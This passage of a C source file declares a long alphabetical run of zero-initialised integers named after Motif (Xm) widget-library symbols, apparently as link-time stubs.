int _XmDataF_EventBindings4 = 0;
int xmDataFieldClassRec = 0;
int _XmDataFieldConvert = 0;
int XmDataFieldCopy = 0;
int _XmDataFieldCountBytes = 0;
int XmDataFieldCut = 0;
int _XmDataFieldDeselectSelection = 0;
int XmDataFielddf_ClearSelection = 0;
int _XmDataFielddf_SetCursorPosition = 0;
int XmDataFielddf_SetCursorPosition = 0;
int _XmDataFielddf_SetDestination = 0;
int _XmDataFieldDrawInsertionPoint = 0;
int XmDataFieldGetAddMode = 0;
int XmDataFieldGetBaseline = 0;
int XmDataFieldGetCursorPosition = 0;
int _XmDataFieldGetDropReciever = 0;
int XmDataFieldGetEditable = 0;
int XmDataFieldGetInsertionPosition = 0;
int XmDataFieldGetLastPosition = 0;
int XmDataFieldGetMaxLength = 0;
int XmDataFieldGetSelection = 0;
int XmDataFieldGetSelectionPosition = 0;
int XmDataFieldGetSelectionWcs = 0;
int XmDataFieldGetString = 0;
int XmDataFieldGetStringWcs = 0;
int XmDataFieldGetSubstring = 0;
int XmDataFieldGetSubstringWcs = 0;
int XmDataFieldInsert = 0;
int XmDataFieldInsertWcs = 0;
int _XmDataFieldLoseSelection = 0;
int XmDataFieldPaste = 0;
int XmDataFieldPosToXY = 0;
int XmDataFieldRemove = 0;
int XmDataFieldReplace = 0;
int _XmDataFieldReplaceText = 0;
int XmDataFieldReplaceWcs = 0;
int XmDataFieldSetAddMode = 0;
int _XmDataFieldSetClipRect = 0;
int XmDataFieldSetEditable = 0;
int XmDataFieldSetHighlight = 0;
int XmDataFieldSetInsertionPosition = 0;
int XmDataFieldSetMaxLength = 0;
int _XmDataFieldSetSel2 = 0;
int XmDataFieldSetSelection = 0;
int XmDataFieldSetString = 0;
int XmDataFieldShowPosition = 0;
int _XmDataFieldStartSelection = 0;
int xmDataFieldWidgetClass = 0;
int XmDataFieldXYToPos = 0;
int _XmDataFPrimClassExtRec = 0;
int _XmDataFToggleCursorGC = 0;
int XmDeactivateProtocol = 0;
int _XmDefaultColorObj = 0;
int _XmDefaultDragIconQuark = 0;
int _XmdefaultTextActionsTable = 0;
int _XmdefaultTextActionsTableSize = 0;
int _XmDefaultVisualResources = 0;
int xmDesktopClass = 0;
int xmDesktopClassRec = 0;
int xmDesktopObjectClass = 0;
int _XmDestinationHandler = 0;
int _XmDestroyDefaultDragIcon = 0;
int _XmDestroyFocusData = 0;
int _XmDestroyMotifWindow = 0;
int _XmDestroyParentCallback = 0;
int XmDestroyPixmap = 0;
int _XmDestroyTearOffShell = 0;
int xmDialogShellClassRec = 0;
int xmDialogShellExtClassRec = 0;
int xmDialogShellExtObjectClass = 0;
int xmDialogShellWidgetClass = 0;
int _XmDifferentBackground = 0;
int _XmDirectionDefault = 0;
int XmDirectionMatch = 0;
int XmDirectionMatchPartial = 0;
int XmDirectionToStringDirection = 0;
int _XmDismissTearOff = 0;
int _XmDispatchGadgetInput = 0;
int _XmDisplay_baseTranslations = 0;
int xmDisplayClass = 0;
int xmDisplayClassRec = 0;
int xmDisplayObjectClass = 0;
int _XmDoGadgetTraversal = 0;
int XmDragCancel = 0;
int _XmDragC_defaultTranslations = 0;
int xmDragContextClass = 0;
int xmDragContextClassRec = 0;
int xmDragIconClassRec = 0;
int _XmDragIconClean = 0;
int _XmDragIconIsDirty = 0;
int xmDragIconObjectClass = 0;
int _XmDragOverChange = 0;
int _XmDragOverFinish = 0;
int _XmDragOverGetActiveCursor = 0;
int _XmDragOverHide = 0;
int _XmDragOverMove = 0;
int _XmDragOverSetInitialPosition = 0;
int xmDragOverShellClassRec = 0;
int xmDragOverShellWidgetClass = 0;
int _XmDragOverShow = 0;
int XmDragStart = 0;
int _XmDragUnderAnimation = 0;
int _XmDrawArrow = 0;
int XmDrawBevel = 0;
int _XmDrawBorder = 0;
int _XmDrawDiamond = 0;
int _XmDrawDiamondButton = 0;
int _XmDrawHighlight = 0;
int _XmDrawingA_defaultTranslations = 0;
int xmDrawingAreaClassRec = 0;
int _XmDrawingAreaInput = 0;
int xmDrawingAreaWidgetClass = 0;
int _XmDrawingA_traversalTranslations = 0;
int _XmDrawnB_defaultTranslations = 0;
int _XmDrawnB_menuTranslations = 0;
int _XmDrawnBPrimClassExtRec = 0;
int xmDrawnButtonClassRec = 0;
int xmDrawnButtonWidgetClass = 0;
int _XmDrawSeparator = 0;
int _XmDrawShadow = 0;
int _XmDrawShadows = 0;
int _XmDrawShadowType = 0;
int _XmDrawSimpleHighlight = 0;
int _XmDrawSquareButton = 0;
int xmDropDownClassRec = 0;
int XmDropDownGetArrow = 0;
int XmDropDownGetChild = 0;
int XmDropDownGetLabel = 0;
int XmDropDownGetList = 0;
int XmDropDownGetText = 0;
int XmDropDownGetValue = 0;
int xmDropDownWidgetClass = 0;
int XmDropSiteConfigureStackingOrder = 0;
int XmDropSiteEndUpdate = 0;
int XmDropSiteGetActiveVisuals = 0;
int xmDropSiteManagerClassRec = 0;
int xmDropSiteManagerObjectClass = 0;
int XmDropSiteQueryStackingOrder = 0;
int XmDropSiteRegister = 0;
int XmDropSiteRegistered = 0;
int XmDropSiteRetrieve = 0;
int _XmDropSiteShell = 0;
int XmDropSiteStartUpdate = 0;
int XmDropSiteUnregister = 0;
int XmDropSiteUpdate = 0;
int _XmDropSiteWrapperCandidate = 0;
int XmDropTransferAdd = 0;
int xmDropTransferClassRec = 0;
int xmDropTransferObjectClass = 0;
int XmDropTransferStart = 0;
int _XmDSIAddChild = 0;
int _XmDSIDestroy = 0;
int _XmDSIGetBorderWidth = 0;
int _XmDSIGetChildPosition = 0;
int _XmDSIRemoveChild = 0;
int _XmDSIReplaceChild = 0;
int _XmDSISwapChildren = 0;
int _XmDSMGetTreeFromDSM = 0;
int _XmDSMUpdate = 0;
int _XmDSResources = 0;
int XmeAddFocusChangeCallback = 0;
int XmeClearBorder = 0;
int XmeClipboardSink = 0;
int XmeClipboardSource = 0;
int XmeConfigureObject = 0;
int XmeConvertMerge = 0;
int XmeCountVaListSimple = 0;
int XmeCreateClassDialog = 0;
int _XmEditResCheckMessages = 0;
int XmeDragSource = 0;
int XmeDrawArrow = 0;
int XmeDrawCircle = 0;
int XmeDrawDiamond = 0;
int XmeDrawHighlight = 0;
int XmeDrawIndicator = 0;
int XmeDrawPolygonShadow = 0;
int XmeDrawSeparator = 0;
int XmeDrawShadows = 0;
int XmeDropSink = 0;
int XmeFlushIconFileCache = 0;
int XmeFocusIsInShell = 0;
int XmeFromHorizontalPixels = 0;
int XmeFromVerticalPixels = 0;
int XmeGetColorObjData = 0;
int XmeGetDefaultPixel = 0;
int XmeGetDefaultRenderTable = 0;
int XmeGetDesktopColorCells = 0;
int XmeGetDirection = 0;
int XmeGetEncodingAtom = 0;
int XmeGetHomeDirName = 0;
int XmeGetIconControlInfo = 0;
int XmeGetLocalizedString = 0;
int XmeGetMask = 0;
int XmeGetNextCharacter = 0;
int XmeGetNullCursor = 0;
int XmeGetPixelData = 0;
int XmeGetPixmapData = 0;
int XmeGetTextualDragIcon = 0;
int XmeMicroSleep = 0;
int _XmEmptyRect = 0;
int XmeNamedSink = 0;
int XmeNamedSource = 0;
int XmeNamesAreEqual = 0;
int XmeNavigChangeManaged = 0;
int _XmEnterGadget = 0;
int _XmEnterRowColumn = 0;
int _XmEntryByteCountGet = 0;
int _XmEntryCacheGet = 0;
int _XmEntryCharCountGet = 0;
int _XmEntryDirectionGet = 0;
int _XmEntryDirectionSet = 0;
int _XmEntryPopGet = 0;
int _XmEntryPushGet = 0;
int _XmEntryRendBeginCountGet = 0;
int _XmEntryRendBeginGet = 0;
int _XmEntryRendBeginSet = 0;
int _XmEntryRendEndCountGet = 0;
int _XmEntryRendEndGet = 0;
int _XmEntryRendEndSet = 0;
int _XmEntryTabsGet = 0;
int _XmEntryTag = 0;
int _XmEntryTagSet = 0;
int _XmEntryTextGet = 0;
int _XmEntryTextSet = 0;
int _XmEntryTextTypeGet = 0;
int XmeParseUnits = 0;
int XmePrimarySink = 0;
int XmePrimarySource = 0;
int XmeQueryBestCursorSize = 0;
int _XmEraseShadow = 0;
int XmeRedisplayGadgets = 0;
int XmeRemoveFocusChangeCallback = 0;
int XmeRenderTableGetDefaultFont = 0;
int XmeReplyToQueryGeometry = 0;
int XmeResolvePartOffsets = 0;
int XmeSecondarySink = 0;
int XmeSecondarySource = 0;
int XmeSecondaryTransfer = 0;
int XmeSetWMShellTitle = 0;
int XmeStandardConvert = 0;
int XmeStandardTargets = 0;
int XmeStringGetComponent = 0;
int XmeStringIsValid = 0;
int XmeToHorizontalPixels = 0;
int XmeToVerticalPixels = 0;
int XmeTraitGet = 0;
int XmeTraitSet = 0;
int XmeTransferAddDoneProc = 0;
int XmeUseColorObj = 0;
int XmeVirtualToActualKeysyms = 0;
int XmeVLCreateWidget = 0;
int XmeWarning = 0;
int XME_WARNING = 0;
int XmeXpmAttributesSize = 0;
int XmeXpmCreateBufferFromImage = 0;
int XmeXpmCreateBufferFromPixmap = 0;
int XmeXpmCreateBufferFromXpmImage = 0;
int XmeXpmCreateDataFromImage = 0;
int XmeXpmCreateDataFromPixmap = 0;
int XmeXpmCreateDataFromXpmImage = 0;
int XmeXpmCreateImageFromBuffer = 0;
int XmeXpmCreateImageFromData = 0;
int XmeXpmCreateImageFromXpmImage = 0;
int XmeXpmCreatePixmapFromBuffer = 0;
int XmeXpmCreatePixmapFromData = 0;
int XmeXpmCreatePixmapFromXpmImage = 0;
int XmeXpmCreateXpmImageFromBuffer = 0;
int XmeXpmCreateXpmImageFromData = 0;
int XmeXpmCreateXpmImageFromImage = 0;
int XmeXpmCreateXpmImageFromPixmap = 0;
int XmeXpmFree = 0;
int XmeXpmFreeAttributes = 0;
int XmeXpmFreeExtensions = 0;
int XmeXpmFreeXpmImage = 0;
int XmeXpmFreeXpmInfo = 0;
int XmeXpmGetErrorString = 0;
int XmeXpmLibraryVersion = 0;
int XmeXpmReadFileToBuffer = 0;
int XmeXpmReadFileToData = 0;
int XmeXpmReadFileToImage = 0;
int XmeXpmReadFileToPixmap = 0;
int XmeXpmReadFileToXpmImage = 0;
int XmeXpmWriteFileFromBuffer = 0;
int XmeXpmWriteFileFromData = 0;
int XmeXpmWriteFileFromImage = 0;
int XmeXpmWriteFileFromPixmap = 0;
int XmeXpmWriteFileFromXpmImage = 0;
int xmExt18ListClassRec = 0;
int XmExt18ListDeselectItems = 0;
int XmExt18ListDeselectRow = 0;
int XmExt18ListGetSelectedRowArray = 0;
int XmExt18ListGetSelectedRows = 0;
int XmExt18ListMakeRowVisible = 0;
int XmExt18ListSelectAllItems = 0;
int XmExt18ListSelectItems = 0;
int XmExt18ListSelectRow = 0;
int XmExt18ListToggleRow = 0;
int XmExt18ListUnselectAllItems = 0;
int XmExt18ListUnselectItem = 0;
int xmExt18ListWidgetClass = 0;
int xmExtClassRec = 0;
int _XmExtGetValuesHook = 0;
int _XmExtHighlightBorder = 0;
int _XmExtImportArgs = 0;
int _XmExtObjAlloc = 0;
int xmExtObjectClass = 0;
int _XmExtObjFree = 0;
int _XmExtUnhighlightBorder = 0;
int _Xm_fastPtr = 0;
int _XmFastSubclassInit = 0;
int _XmFileSBGeoMatrixCreate = 0;
int xmFileSelectionBoxClassRec = 0;
int _XmFileSelectionBoxCreateDirList = 0;
int _XmFileSelectionBoxCreateDirListLabel = 0;
int _XmFileSelectionBoxCreateFilterLabel = 0;
int _XmFileSelectionBoxCreateFilterText = 0;
int _XmFileSelectionBoxFocusMoved = 0;
int XmFileSelectionBoxGetChild = 0;
int _XmFileSelectionBoxGetDirectory = 0;
int _XmFileSelectionBoxGetDirListItemCount = 0;
int _XmFileSelectionBoxGetDirListItems = 0;
int _XmFileSelectionBoxGetDirListLabelString = 0;
int _XmFileSelectionBoxGetDirMask = 0;
int _XmFileSelectionBoxGetFilterLabelString = 0;
int _XmFileSelectionBoxGetListItemCount = 0;
int _XmFileSelectionBoxGetListItems = 0;
int _XmFileSelectionBoxGetNoMatchString = 0;
int _XmFileSelectionBoxGetPattern = 0;
int _XmFileSelectionBoxNoGeoRequest = 0;
int _XmFileSelectionBoxRestore = 0;
int _XmFileSelectionBoxUpOrDown = 0;
int xmFileSelectionBoxWidgetClass = 0;
int XmFileSelectionDoSearch = 0;
int _XmFilterArgs = 0;
int _XmFilterResources = 0;
int _XmFindNextTabGroup = 0;
int _XmFindPrevTabGroup = 0;
int _XmFindTabGroup = 0;
int _XmFindTopMostShell = 0;
int _XmFindTraversablePrim = 0;
int _XmFocusInGadget = 0;
int _XmFocusIsHere = 0;
int _XmFocusIsInShell = 0;
int _XmFocusModelChanged = 0;
int _XmFocusOutGadget = 0;
int XmFontListAdd = 0;
int XmFontListAppendEntry = 0;
int XmFontListCopy = 0;
int XmFontListCreate = 0;
int XmFontListCreate_r = 0;
int XmFontListEntryCreate = 0;
int XmFontListEntryCreate_r = 0;
int XmFontListEntryFree = 0;
int XmFontListEntryGetFont = 0;
int XmFontListEntryGetTag = 0;
int XmFontListEntryLoad = 0;
int XmFontListFree = 0;
int XmFontListFreeFontContext = 0;
int _XmFontListGetDefaultFont = 0;
int XmFontListGetNextFont = 0;
int XmFontListInitFontContext = 0;
int XmFontListNextEntry = 0;
int XmFontListRemoveEntry = 0;
int _XmFontListSearch = 0;
int xmFontSelectorClassRec = 0;
int xmFontSelectorWidgetClass = 0;
int _XmForegroundColorDefault = 0;
int xmFormClassRec = 0;
int xmFormWidgetClass = 0;
int xmFrameClassRec = 0;
int _XmFrame_defaultTranslations = 0;
int xmFrameWidgetClass = 0;
int _XmFreeDragReceiverInfo = 0;
int _XmFreeHashTable = 0;
int _XmFreeMotifAtom = 0;
int _XmFreeScratchPixmap = 0;
int _XmFreeTravGraph = 0;
int _XmFreeWidgetExtData = 0;
int _XmFromHorizontalPixels = 0;
int _XmFromLayoutDirection = 0;
int _XmFromPanedPixels = 0;
int _XmFromVerticalPixels = 0;
int _XmGadClassExtRec = 0;
int _XmGadgetActivate = 0;
int _XmGadgetArm = 0;
int _XmGadgetButtonMotion = 0;
int xmGadgetClass = 0;
int xmGadgetClassRec = 0;
int _XmGadgetDrag = 0;
int _XmGadgetGetValuesHook = 0;
int _XmGadgetImportArgs = 0;
int _XmGadgetImportSecondaryArgs = 0;
int _XmGadgetKeyInput = 0;
int _XmGadgetMultiActivate = 0;
int _XmGadgetMultiArm = 0;
int _XmGadgetSelect = 0;
int _XmGadgetTraverseCurrent = 0;
int _XmGadgetTraverseDown = 0;
int _XmGadgetTraverseHome = 0;
int _XmGadgetTraverseLeft = 0;
int _XmGadgetTraverseNext = 0;
int _XmGadgetTraverseNextTabGroup = 0;
int _XmGadgetTraversePrev = 0;
int _XmGadgetTraversePrevTabGroup = 0;
int _XmGadgetTraverseRight = 0;
int _XmGadgetTraverseUp = 0;
int _XmGadgetWarning = 0;
int _XmGeoAdjustBoxes = 0;
int _XmGeoArrangeBoxes = 0;
int _XmGeoBoxesSameHeight = 0;
int _XmGeoBoxesSameWidth = 0;
int _XmGeoClearRectObjAreas = 0;
int _XmGeoCount_kids = 0;
int _XmGeoGetDimensions = 0;
int _XmGeoLoadValues = 0;
int _XmGeoMatrixAlloc = 0;
int _XmGeoMatrixFree = 0;
int _XmGeoMatrixGet = 0;
int _XmGeoMatrixSet = 0;
int _XmGeometryEqual = 0;
int _XmGeoReplyYes = 0;
int _XmGeoSetupKid = 0;
int _XmGetActiveDropSite = 0;
int _XmGetActiveItem = 0;
int _XmGetActiveProtocolStyle = 0;
int _XmGetActiveTabGroup = 0;
int _XmGetActiveTopLevelMenu = 0;
int _XmGetActualClass = 0;
int _XmGetArrowDrawRects = 0;
int XmGetAtomName = 0;
int _XmGetAudibleWarning = 0;
int _XmGetBGPixmapName = 0;
int _XmGetBitmapConversionModel = 0;
int _XmGetBottomShadowColor = 0;
int _XmGetClassExtensionPtr = 0;
int _XmGetColorAllocationProc = 0;
int XmGetColorCalculation = 0;
int _XmGetColorCalculationProc = 0;
int _XmGetColoredPixmap = 0;
int _XmGetColors = 0;
int XmGetColors = 0;
int _XmGetDefaultBackgroundColorSpec = 0;
int _XmGetDefaultColors = 0;
int _XmGetDefaultDisplay = 0;
int _XmGetDefaultFontList = 0;
int _XmGetDefaultThresholdsForScreen = 0;
int _XmGetDefaultTime = 0;
int XmGetDestination = 0;
int _XmGetDisplayObject = 0;
int XmGetDragContext = 0;
int _XmGetDragContextFromHandle = 0;
int _XmGetDragCursorCachePtr = 0;
int _XmGetDragProtocolStyle = 0;
int _XmGetDragProxyWindow = 0;
int _XmGetDragReceiverInfo = 0;
int _XmGetDropSiteManagerObject = 0;
int _XmGetEffectiveView = 0;
int _XmGetEncodingRegistryTarget = 0;
int _XmGetFirstFocus = 0;
int _XmGetFirstFont = 0;
int _XmGetFocus = 0;
int _XmGetFocusData = 0;
int _XmGetFocusFlag = 0;
int _XmGetFocusPolicy = 0;
int _XmGetFocusResetFlag = 0;
int XmGetFocusWidget = 0;
int _XmGetFontUnit = 0;
int _XmGetHashEntryIterate = 0;
int _XmGetHighlightColor = 0;
int _XmGetIconControlInfo = 0;
int XmGetIconFileName = 0;
int _XmGetIconPixmapName = 0;
int _XmGetImage = 0;
int _XmGetImageAndHotSpotFromFile = 0;
int _XmGetImageFromFile = 0;
int _XmGetInDragMode = 0;
int _XmGetInsensitiveStippleBitmap = 0;
int _XmGetKidGeo = 0;
int _XmGetLayoutDirection = 0;
int _XmGetManagedInfo = 0;
int _XmGetMaxCursorSize = 0;
int _XmGetMBStringFromXmString = 0;
int XmGetMenuCursor = 0;
int _XmGetMenuCursorByScreen = 0;
int _XmGetMenuProcContext = 0;
int _XmGetMenuState = 0;
int _XmGetMotifAtom = 0;
int _XmGetMoveOpaqueByScreen = 0;
int _XmGetNavigability = 0;
int _XmGetNavigationType = 0;
int _Xm_GetNewElement = 0;
int XmGetNewPictureState = 0;
int _XmGetNullCursor = 0;
int _XmGetPixelData = 0;
int _XmGetPixmap = 0;
int XmGetPixmap = 0;
int _XmGetPixmapBasedGC = 0;
int XmGetPixmapByDepth = 0;
int _XmGetPixmapData = 0;
int _XmGetPointVisibility = 0;
int _XmGetPopupMenuClick = 0;
int XmGetPostedFromWidget = 0;
int _XmGetRC_PopupPosted = 0;
int _XmGetRealXlations = 0;
int _XmGetScaledPixmap = 0;
int XmGetScaledPixmap = 0;
int _XmGetScreenObject = 0;
int XmGetSecondaryResourceData = 0;
int _XmGetTabGroup = 0;
int XmGetTabGroup = 0;
int XmGetTearOffControl = 0;
int _XmGetTextualDragIcon = 0;
int XmGetToolTipString = 0;
int _XmGetTopShadowColor = 0;
int _XmGetTransientFlag = 0;
int _XmGetUnitType = 0;
int _XmGetUnpostBehavior = 0;
int XmGetVisibility = 0;
int _XmGetWidgetExtData = 0;
int _XmGetWidgetNavigPtrs = 0;
int _XmGetWorldObject = 0;
int _XmGetWrapperData = 0;
int XmGetXmDisplay = 0;
int _XmGetXmDisplayClass = 0;
int XmGetXmScreen = 0;
int _XmGMCalcSize = 0;
int _XmGMDoLayout = 0;
int _XmGMEnforceMargin = 0;
int _XmGMHandleGeometryManager = 0;
int _XmGMHandleQueryGeometry = 0;
int _XmGMOverlap = 0;
int _XmGMReplyToQueryGeometry = 0;
int _XmGrabKeyboard = 0;
int _XmGrabPointer = 0;
int xmGrabShellClassRec = 0;
int _XmGrabShell_translations = 0;
int xmGrabShellWidgetClass = 0;
int _XmGrabTheFocus = 0;
int _XmHandleGeometryManager = 0;
int _XmHandleMenuButtonPress = 0;
int _XmHandleQueryGeometry = 0;
int _XmHandleSizeUpdate = 0;
int _XmHashTableCount = 0;
int _XmHashTableSize = 0;
int _XmHeapAlloc = 0;
int _XmHeapCreate = 0;
int _XmHeapFree = 0;
int xmHierarchyClassRec = 0;
int XmHierarchyGetChildNodes = 0;
int XmHierarchyOpenAllAncestors = 0;
int xmHierarchyWidgetClass = 0;
int _XmHighlightBorder = 0;
int _XmHighlightColorDefault = 0;
int _XmHighlightPixmapDefault = 0;
int _XmHWQuery = 0;
int xmI18ListClassRec = 0;
int XmI18ListDeselectItems = 0;
int XmI18ListDeselectRow = 0;
int XmI18ListDoSearch = 0;
int XmI18ListFindRow = 0;
int XmI18ListGetSelectedRowArray = 0;
int XmI18ListGetSelectedRows = 0;
int XmI18ListMakeRowVisible = 0;
int XmI18ListSelectAllItems = 0;
int XmI18ListSelectItems = 0;
int XmI18ListSelectRow = 0;
int XmI18ListToggleRow = 0;
int xmI18ListWidgetClass = 0;
int _XmICCCallbackToICCEvent = 0;
int _XmICCEventToICCCallback = 0;
int xmIconBoxClassRec = 0;
int XmIconBoxIsCellEmpty = 0;
int xmIconBoxWidgetClass = 0;
int xmIconButtonClassRec = 0;
int xmIconButtonWidgetClass = 0;
int xmIconGadgetClass = 0;
int xmIconGadgetClassRec = 0;
int _XmIconGadgetIconPos = 0;
int xmIconGCacheObjClassRec = 0;
int xmIconHeaderClass = 0;
int xmIconHeaderClassRec = 0;
int _XmIEndUpdate = 0;
int _XmImChangeManaged = 0;
int XmImCloseXIM = 0;
int _XmImFreeShellData = 0;
int XmImFreeXIC = 0;
int XmImGetXIC = 0;
int XmImGetXICResetState = 0;
int XmImGetXIM = 0;
int XmImMbLookupString = 0;
int XmImMbResetIC = 0;
int _XmImRealize = 0;
int _XmImRedisplay = 0;
int XmImRegister = 0;
int _XmImResize = 0;
int XmImSetFocusValues = 0;
int XmImSetValues = 0;
int XmImSetXIC = 0;
int XmImUnregister = 0;
int XmImUnsetFocus = 0;
int XmImVaSetFocusValues = 0;
int XmImVaSetValues = 0;
int _XmIndexToTargets = 0;
int _XmInheritClass = 0;
int _XmInImageCache = 0;
int _XmInitByteOrderChar = 0;
int _XmInitializeExtensions = 0;
int _XmInitializeMenuCursor = 0;
int _XmInitializeScrollBars = 0;
int _XmInitializeSyntheticResources = 0;
int _XmInitializeTraits = 0;
int _XmInitModifiers = 0;
int _XmInitTargetsTable = 0;
int _XmInputForGadget = 0;
int _XmInputInGadget = 0;
int _XmInstallImage = 0;
int XmInstallImage = 0;
int _XmInstallPixmap = 0;
int _XmInstallProtocols = 0;
int XmInternAtom = 0;
int _XmIntersectionOf = 0;
int _XmIntersectRect = 0;
int _XmInvalidCursorIconQuark = 0;
int _XmIsActiveTearOff = 0;
int _XmIsEventUnique = 0;
int _XmIsFastSubclass = 0;
int _XmIsISO10646 = 0;
int XmIsMotifWMRunning = 0;
int _XmIsNavigable = 0;
int _XmIsScrollableClipWidget = 0;
int _XmIsSlowSubclass = 0;
int _XmIsStandardMotifWidgetClass = 0;
int _XmIsSubclassOf = 0;
int _XmIsTearOffShellDescendant = 0;
int XmIsTraversable = 0;
int _XmIsViewable = 0;
int _XmJpegErrorExit = 0;
int _XmJpegGetImage = 0;
int _XmLabel_AccessTextualRecord = 0;
int _XmLabelCacheCompare = 0;
int _XmLabelCalcTextRect = 0;
int xmLabelClassRec = 0;
int _XmLabelCloneMenuSavvy = 0;
int _XmLabelConvert = 0;
int _XmLabel_defaultTranslations = 0;
int _XmLabelGadClassExtRec = 0;
int xmLabelGadgetClass = 0;
int xmLabelGadgetClassRec = 0;
int xmLabelGCacheObjClassRec = 0;
int _XmLabelGCalcTextRect = 0;
int _XmLabelGCloneMenuSavvy = 0;
int _XmLabelGCVTRedraw = 0;
int _XmLabel_menuTranslations = 0;
int _XmLabel_menu_traversal_events = 0;
int _XmLabelPrimClassExtRec = 0;
int _XmLabelSetBackgroundGC = 0;
int xmLabelWidgetClass = 0;
int _XmLeafPaneFocusOut = 0;
int _XmLeaveGadget = 0;
int _XmLinkCursorIconQuark = 0;
int _XmListAddAfter = 0;
int _XmListAddBefore = 0;
int XmListAddItem = 0;
int XmListAddItems = 0;
int XmListAddItemsUnselected = 0;
int XmListAddItemUnselected = 0;
int xmListClassRec = 0;
int _XmListCount = 0;
int XmListDeleteAllItems = 0;
int XmListDeleteItem = 0;
int XmListDeleteItems = 0;
int XmListDeleteItemsPos = 0;
int XmListDeletePos = 0;
int XmListDeletePositions = 0;
int XmListDeselectAllItems = 0;
int XmListDeselectItem = 0;
int XmListDeselectPos = 0;
int _XmListExec = 0;
int _XmListFree = 0;
int XmListGetKbdItemPos = 0;
int XmListGetMatchPos = 0;
int XmListGetSelectedPos = 0;
int _XmListInit = 0;
int XmListItemExists = 0;
int XmListItemPos = 0;
int _XmList_ListXlations1 = 0;
int _XmList_ListXlations2 = 0;
int XmListPosSelected = 0;
int XmListPosToBounds = 0;
int _XmListRemove = 0;
int XmListReplaceItems = 0;
int XmListReplaceItemsPos = 0;
int XmListReplaceItemsPosUnselected = 0;
int XmListReplaceItemsUnselected = 0;
int XmListReplacePositions = 0;
int XmListSelectItem = 0;
int XmListSelectPos = 0;
int XmListSetAddMode = 0;
int XmListSetBottomItem = 0;
int XmListSetBottomPos = 0;
int XmListSetHorizPos = 0;
int XmListSetItem = 0;
int XmListSetKbdItemPos = 0;
int XmListSetPos = 0;
int XmListUpdateSelectedList = 0;
int xmListWidgetClass = 0;
int XmListYToPos = 0;
int _XmLowerCase = 0;
int _XmLowerTearOffObscuringPoppingDownPanes = 0;
int xmMainWindowClassRec = 0;
int XmMainWindowSep1 = 0;
int XmMainWindowSep2 = 0;
int XmMainWindowSep3 = 0;
int XmMainWindowSetAreas = 0;
int xmMainWindowWidgetClass = 0;
int _XmMakeGeometryRequest = 0;
int xmManagerClassRec = 0;
int _XmManager_defaultTranslations = 0;
int _XmManagerEnter = 0;
int _XmManagerFocusIn = 0;
int _XmManagerFocusInInternal = 0;
int _XmManagerFocusOut = 0;
int _XmManagerGetValuesHook = 0;
int _XmManagerHelp = 0;
int _XmManagerHighlightPixmapDefault = 0;
int _XmManagerImportArgs = 0;
int _XmManagerLeave = 0;
int _XmManager_managerTraversalTranslations = 0;
int _XmManagerParentActivate = 0;
int _XmManagerParentCancel = 0;
int _XmManagerTopShadowPixmapDefault = 0;
int _XmManagerUnmap = 0;
int xmManagerWidgetClass = 0;
int _XmMapBtnEvent = 0;
int _XmMapHashTable = 0;
int _XmMapKeyEvent = 0;
int _XmMapKeyEvents = 0;
int XmMapSegmentEncoding = 0;
int _XmMatchBDragEvent = 0;
int _XmMatchBSelectEvent = 0;
int _XmMatchBtnEvent = 0;
int _XmMatchKeyEvent = 0;
int _XmMenuBarFix = 0;
int _XmMenuBarGadgetSelect = 0;
int _XmMenuBtnDown = 0;
int _XmMenuBtnUp = 0;
int _XmMenuButtonTakeFocus = 0;
int _XmMenuButtonTakeFocusUp = 0;
int _XmMenuCursorContext = 0;
int _XmMenuEscape = 0;
int _XmMenuFocus = 0;
int _XmMenuFocusIn = 0;
int _XmMenuFocusOut = 0;
int _XmMenuGadgetDrag = 0;
int _XmMenuGadgetTraverseCurrent = 0;
int _XmMenuGadgetTraverseCurrentUp = 0;
int _XmMenuGrabKeyboardAndPointer = 0;
int _XmMenuHelp = 0;
int _XmMenuPopDown = 0;
int XmMenuPosition = 0;
int _XmMenuSetInPMMode = 0;
int xmMenuShellClassRec = 0;
int _XmMenuShell_translations = 0;
int xmMenuShellWidgetClass = 0;
int _XmMenuTraversalHandler = 0;
int _XmMenuTraverseDown = 0;
int _XmMenuTraverseLeft = 0;
int _XmMenuTraverseRight = 0;
int _XmMenuTraverseUp = 0;
int _XmMenuUnmap = 0;
int xmMessageBoxClassRec = 0;
int _XmMessageBoxGeoMatrixCreate = 0;
int XmMessageBoxGetChild = 0;
int _XmMessageBoxNoGeoRequest = 0;
int xmMessageBoxWidgetClass = 0;
int _XmMessageTypeToReason = 0;
int _XmMgrTraversal = 0;
int _XmMicroSleep = 0;
int _Xm_MOTIF_DRAG_AND_DROP_MESSAGE = 0;
int _XmMoveCursorIconQuark = 0;
int _XmMoveObject = 0;
int _XmMoveWidget = 0;
int _XmMsgBaseClass_0000 = 0;
int _XmMsgBaseClass_0001 = 0;
int _XmMsgBulletinB_0001 = 0;
int _XmMsgCascadeB_0000 = 0;
int _XmMsgCascadeB_0001 = 0;
int _XmMsgCascadeB_0002 = 0;
int _XmMsgCascadeB_0003 = 0;
int _XmMsgColObj_0001 = 0;
int _XmMsgColObj_0002 = 0;
int _XmMsgComboBox_0000 = 0;
int _XmMsgComboBox_0001 = 0;
int _XmMsgComboBox_0004 = 0;
int _XmMsgComboBox_0005 = 0;
int _XmMsgComboBox_0006 = 0;
int _XmMsgComboBox_0007 = 0;
int _XmMsgComboBox_0008 = 0;
int _XmMsgComboBox_0009 = 0;
int _XmMsgComboBox_0010 = 0;
int _XmMsgComboBox_0011 = 0;
int _XmMsgComboBox_0012 = 0;
int _XmMsgComboBox_0013 = 0;
int _XmMsgComboBox_0014 = 0;
int _XmMsgCommand_0000 = 0;
int _XmMsgCommand_0001 = 0;
int _XmMsgCommand_0002 = 0;
int _XmMsgCommand_0003 = 0;
int _XmMsgCommand_0004 = 0;
int _XmMsgCommand_0005 = 0;
int _XmMsgContainer_0000 = 0;
int _XmMsgContainer_0001 = 0;
int _XmMsgCutPaste_0000 = 0;
int _XmMsgCutPaste_0001 = 0;
int _XmMsgCutPaste_0002 = 0;
int _XmMsgCutPaste_0003 = 0;
int _XmMsgCutPaste_0004 = 0;
int _XmMsgCutPaste_0005 = 0;
int _XmMsgCutPaste_0006 = 0;
int _XmMsgCutPaste_0007 = 0;
int _XmMsgCutPaste_0008 = 0;
int _XmMsgCutPaste_0009 = 0;
int _XmMsgDataF_0000 = 0;
int _XmMsgDataF_0001 = 0;
int _XmMsgDataF_0002 = 0;
int _XmMsgDataF_0003 = 0;
int _XmMsgDataF_0004 = 0;
int _XmMsgDataF_0005 = 0;
int _XmMsgDataF_0006 = 0;
int _XmMsgDataFWcs_0000 = 0;
int _XmMsgDataFWcs_0001 = 0;
int _XmMsgDialogS_0000 = 0;
